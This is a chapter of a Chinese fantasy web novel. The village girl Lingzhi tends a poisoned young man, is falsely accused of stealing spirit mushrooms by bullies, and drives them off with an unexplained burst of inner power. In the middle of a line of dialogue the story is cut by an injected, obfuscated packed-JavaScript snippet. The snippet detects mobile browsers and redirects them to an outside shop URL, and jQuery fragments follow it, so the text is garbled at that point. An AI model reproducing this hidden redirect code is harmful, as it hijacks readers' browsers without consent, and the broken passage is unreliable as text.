夕阳在山尖露出最后一点余晖,余晖斜穿树林窥视里内究竟,扫来的金光裹在灵芝身上折出温暖柔美,她将晏月檀抱在怀中哼歌安抚,她的影子洒在湖面微波之上,温柔得像是化在了金黄神池之中。
脖子上扑洒的呼吸变得轻浅,感觉到晏月檀情绪平稳了下来,她松开了他,端着早已凉下的灵菇汤凑到他嘴边。
“乖乖阿狗,来,把汤喝了。”
晏月檀看着乌红汤汁,此次不再反抗,闭气蹙眉,就着灵芝的手将汤汁全部咽下。
灵芝看着怀中人如此乖巧,她高兴极了。
拭去他嘴边流下的污渍,费力将他托到一边树下靠稳,这才起身去查看素舆。
在她离开一瞬,晏月檀猛地呕出方才喝进去的汤汁,可他还是咽了大半碗进去。他手中握紧捡来的石头,眼中死死盯紧灵芝来回忙碌的身影。
灵芝左手拿着断裂的木轮,右手扶着破烂素舆,无奈地叹了口气。
这素舆是阿爹修修补补过许多次的,后来阿爹换了个新的,这个就被搁置了,虽然破旧但好歹能用,没想到坏在了最不该坏的时候。
不知道那些人什么时候会去山洞,最近这段时日不能回山洞了,她想。
四处看了看,她摘了几片宽叶随意打了个地铺,还架了个微微颤颤的遮雨棚,刚忙完这头,又扒了张树皮做面具。
一切安顿好时天已经完全黑了,她回身看了眼一直看着她面无表情的晏月檀。
她习惯了他这种表情,全当他就是不爱笑罢了。
她在他面前蹲下,手在他的脑袋上拍了两下,笑道:“这几日先将就一下吧。”
语毕,她伸手夺过晏月檀抓在手中的石头,随意丢到一边,将他又背又拖得安置在用宽叶临时搭建的营地中。
晏月檀长得比张阿蛋还高,她一定要把他治好,这样张阿蛋就不敢随便欺负她了。灵芝这么想着,脸上的疲惫一扫而光。
她将晏月檀的手交握放在胸前,而后直接钻了进去,在他怀中寻了个最舒适的位置,将冰凉的脚塞进他腿间,这种完全被包裹的姿势让她舒心地叹了口气。
晏月檀转过头尽量不去闻她的气味,可她躺在身上的触感以及散发的幽香让他浑身更是焦躁,他闭上眼皮默念清心诀来抑制心中躁郁。
虽然他已经许久都不曾念过了,但这口诀已经熟悉到他可以倒背如流,故而他默念速度很快,念完两遍后他感到心中焦躁略息。
他呼出一口闷气,正要默念第二遍时怀中的人侧脸轻柔摩挲着他,锁骨被短发挠得瘙痒,而后她深出一口气,温热潮湿的气息扑洒在他的肩上。
他忙又默念了起来,这次他连着念了三次,速度一次比一次快,肌肉反应般一股脑往下念,将腾升的杂念全部强行压了下去。
感觉心中平静了许多。
很好,一切都还在他的掌控中。
灵芝舒适得趴在弹软之间,掌心感受着剧烈跳跃,这跳跃时而快时而慢,时而重时而轻,她都觉得是不是毒素进入了心脏,所以阿狗的心跳才会这般诡异。
她转过头看着掌心下的白皙,斜照的月光将他的肌肤照得白如绸,因为浑身发热薄皮泛着粉。
一双粗糙的手按在那片上面,与那养尊处优的皮肤形成鲜明对比。灵芝微微蜷缩手指,她有些不敢将自己的手放在他身上,这样会让她觉得自己的手很难看。
她明明已经把手洗得干干净净,指甲也没有污垢,为什么还是不如他这般好看?
她的视线又移上那股静躺在他身前的墨发,又长又顺又直,捏在手心里还滑滑的,轻轻柔柔。
如果她也有这样的头发就好了。
想到这里,她有些发气地在那不断跳跃的薄皮下抓挠了一下,留下三道细细的红痕,看着红痕灵芝心里的难堪平息了许些。
“......哼!”
耳中平缓的心跳突然如重鼓,灵芝知道自己又做坏事了,悄悄上掀眼皮掠了一眼晏月檀,这一抬头就撞进了双幽暗不悦的眼。
灵芝被看的背后发怵,匆忙垂下眼皮假装自己没看见,忽然想到自己居然会害怕他,心中又生了气。
看什么看!我是主人抓他两下怎么了!我养他还给他治病,抓两下怎么了!
想到这里,她气呼呼地又抓了一下,不够消气,再来一下!
长这么白做什么!再来一下!
手下的肌理越来越硬,她看着那一团凸起粉红,气得捏住了它。
忽然手腕被炽热轻轻攥住,灵芝看见那双修长干净的手,心中沉缓地跳了一下。
哼,手好看又如何,一点用都没有,她采灵菇可是又准又快!
想到这里,灵芝闷气道:“放开!”
可手腕上的手不但没放,还攥得更紧了。
晏月檀恍惚中感受着掌心的脆弱,她好瘦,瘦到他觉得自己稍微用力就能折断她。
胸膛上刺刺麻麻的感觉还在连绵,他不断咽下唾液,额角溢出了薄汗,心中似有什么东西快要呼之欲出,喧嚣着要将作恶的人吞入。
正当他准备再念清心诀时,手背上传来尖锐刺痛,他浑身猛地一抽,用力睁开眼看向伏在他手上的脸。
对方发狠地咬在他手背上,但这痛感比起他浑身灼烧不值一提,那双清澈的眼中不再是可怜兮兮的装模作样,而是生气跳脚的兔子。
灵芝的舌尖尝到了腥甜,对方终于松开了手,她也就松开了自己的嘴,看着还在往外溢血的齿痕,她连忙撑起身子。
温凉舒适的感觉在她起身那一瞬间就消失了,晏月檀无意识地抬手去捞她的衣角,但还是晚了一步。
他茫然地看着急匆匆走开的灵芝,突然意识到自己在做什么,立马收回了手,整个脸都黑沉了下去。
灵芝去而复返,用破布将他的手腕裹了起来,而后又躺了回去。
她将脸放在晏月檀颈窝摩挲,将自己的衣领拉开了些,让藏在衣中的味道不再受阻。
毕竟驯化野兽就是要打一顿再给一颗甜枣,她惩罚了阿狗后让阿狗闻她,这样阿狗才会知道她是好主人。
幽香扑鼻,摄人心魂。晏月檀匆忙闭上眼,故技重施地想让喧嚣平复。
她又想如何!真是下作手段!
晏月檀眉头紧蹙,后牙槽紧咬着不让自己失控,双手隐忍握拳。
一而再再而三地用异香操控他,故技重施之策实在是天真,他绝不会再中计。
待晏月檀睡去,灵芝轻轻挣脱开了他的手,背上背篓急匆匆赶回家。
推开门那一刻她的心脏还在怦怦直跳,入了院门,她发现爹娘的屋中已经黑了,心中顿时松了口气,轻手轻脚溜进地窖中躲在角落里捂着嘴巴窃喜轻笑。
次日清晨,鸡鸣声刺破的宁静,处处炊烟腾腾而上,各家各户忙碌嘈杂。
灵芝避开上学堂快迟到的小童,看着远处山顶的云染橙黄,村口收菇阿叔刚倒完一篓灵菇。
“灵芝来啦!”
收菇阿叔目送上个客人时看见了灵芝。
灵芝笑着跑了过去将背篓中的灵菇递了过去,接过灵石时她问道:“阿叔,吃脚大夫今日来吗?”
收菇人愣了会儿,干笑了几声后努力调整自己的口音:“灵芝听错啦,是赤脚大夫,大夫应该过几日就来了。”
“哈哈哈哈哈——”
身后传来此起彼伏的笑声,灵芝浑身一颤,忙转头看去。
只见张阿蛋以及他的两个跟班皆是捂着肚子,笑弯了腰。
“吃、脚、大、夫,在哪儿呀?我要吃脚阿哦阿咦...”
王阿锤似斗鸡般抱着一只脚,摇晃着脑袋做口眼歪斜样,口齿不清得模仿灵芝的话。
灵芝看见他们这般嘲讽自己的模样,脸上瞬间爬上燥热。
她僵愣地站在原地,不知所措地攥紧衣角,耳边充斥着三人刺破天际的嘲笑。
“好了,你们别笑话灵芝了,她只是没听过罢了。”
没读过书,也没有好友,家中人也不教,自然是没听过。
虽然灵芝知道收菇阿叔是为她说话,但此时在灵芝耳中,就连好话都显得极其刺耳。
她背上背篓,低垂着脑袋闷头往前走,不料王阿锤与张阿饼更加得寸进尺,直接堵住了灵芝的去路。
“你偷了阿蛋家的菇,把钱交出来!”
灵芝后退几步避开两人,看着站在张阿饼身后叫嚣的王阿锤,一下子来了气。
她双手捏紧衣裳里的温热玉佩,大叫道:“我没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371102|199907||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有偷!!我的灵菇都是我自己采的!”
王阿锤没料到灵芝竟然会反驳,登时面红耳赤得怒喝道:“就是你偷的!就是你偷的!你偷东西不承认!我要告诉我爹!让他把你抓走!”
灵芝浑身一颤,捏着玉佩的手更紧了。
群山中的镇子、村庄不只这一处,但应该远离朝廷,以前偷抢东西的人太多了,这几处的村长便自发立了民巡队,每个村子都会出几名年轻力壮的男子每日巡逻,为的就是遏制村民继续犯罪。
张井泉的二叔,也就是张阿饼的爹以及王阿锤的爹就是其中人员,张阿饼的爹在民巡队中为首,所以张家才会如此无法无天。
“我没有偷过灵菇。”
灵芝底气硬了许多,树皮孔洞下看着王阿锤的两只眼睛坚毅生光:“你是撒谎精!是你偷走的灵菇!我和阿狗都看见了,是你和你娘偷的!”
那日,灵芝带着阿狗去采菇时,见王阿锤及其娘亲在张家圈出的地方偷偷摸摸采菇,她没多想,只是带着阿狗避开了两人。
没曾想,张家还是发现了这件事,当日在山中巡逻的张阿蛋被其父亲狠狠打骂了一顿。张阿蛋对此愤愤不已,誓要找出偷菇的人,王阿锤便告诉了张阿蛋,他在北边巡逻时看见灵芝偷偷溜走了。
后来灵芝匆匆赶回家时被张阿蛋携伙伴一同拦住了,他们将她辛苦采了一整日的灵菇全部抢走了,灵芝家中也被张家搜罗个遍,囤积的灵菇全被抢走了,灵芝也因此被关了三日禁闭。
也就是那时,阿狗出事了。
灵芝话音刚落,王阿锤的表情瞬间变得尴尬无措,在张阿饼回头时他的脸瞬间红透了,鼻中噗嗤噗嗤地用力呼吸。
他推开张阿饼气急败坏地举起拳头挥向灵芝,灵芝被他气势汹汹的模样吓得双脚一软,后退躲避时猛地跌倒在地。
臀部坐在石子路上硌得生疼,她来不及顾及太多,坐下一瞬间就举起手臂挡在脑袋前面。
“你才是撒谎精!你是小偷!”
王阿锤提起脚就要往灵芝身上踹去,忽然喉咙被衣襟勒得发紧,整个人被提溜了起来。
“诶诶诶,好好说话,怎么还动手动脚的?”
收菇阿叔发现事情要越闹越严重了,便出手阻止了这一切发生。
王阿锤悬在空中蹬腿怒吼,转头见竟然是一直袖手旁观的收菇阿叔来帮忙了,立马噤声了。
灵芝坐在地上心有余悸,她收回手臂攥紧衣领中的玉佩,心脏几乎要从嗓子眼中跳出来了。
她咽了口唾沫压制喉中因为惧怕而产生的呕意,声音颤巍巍地道:“就是你偷的,每一次都是——”话没说完就被王阿锤的怒叫声打断。
王阿锤余光中见张阿蛋打探的视线一直在他身上扫动。羞恼、尴尬、害臊的情绪一股脑涌了出来,他急得红了眼眶,看起来就像是委屈哭了。
“不是我!张阿蛋你难道要相信她的话!她贼喊抓贼!”
他面红耳赤地呜咽怒吼道:“还不去揍她,你们到底是不是兄弟!臭麻子说什么你们就信什么吗?!”
张阿蛋一听双拳紧握,不顾收菇人的阻止靠近灵芝,灵芝看着他以及跟随在他身后的张阿饼,被吓得牙齿上下打得咯咯响。
张阿饼似为了要证明三人的兄弟情义有多坚定,他不等张阿蛋说发号施令,撸起袖子就来攥灵芝的衣襟,亦如往日那般要将她举起来。
灵芝吓得缩紧脑袋,整个脸都埋进了衣襟里,两只手渴求地紧抓最后一根救命稻草。
忽然眼前光芒大作,一股温和的风将灵芝轻柔包裹,而后她听见了两声惨叫。
她被惨叫声吓得抬起头,只见张阿饼被一团气撂飞,砸在了张阿蛋身上,两人一起摔倒在地。
事情发生得太突然,在场几人都没反应过来怎么回事,王阿锤的哭泣也直接停止了,张着嘴呆呆地看着灵芝。
灵芝还未来得及高兴,转眸见收菇阿叔投来的古怪眼神,她害怕被人问起她怎么做到的,连忙爬起身子逃走。
张阿蛋的手臂似乎扭伤了,躺在地上嚎啕大哭引来了远处的村民,而收菇人的视线落在逃跑的小小身影上,久久没有收回。
“她身上怎么会有内力......”
收菇人所有所思地道。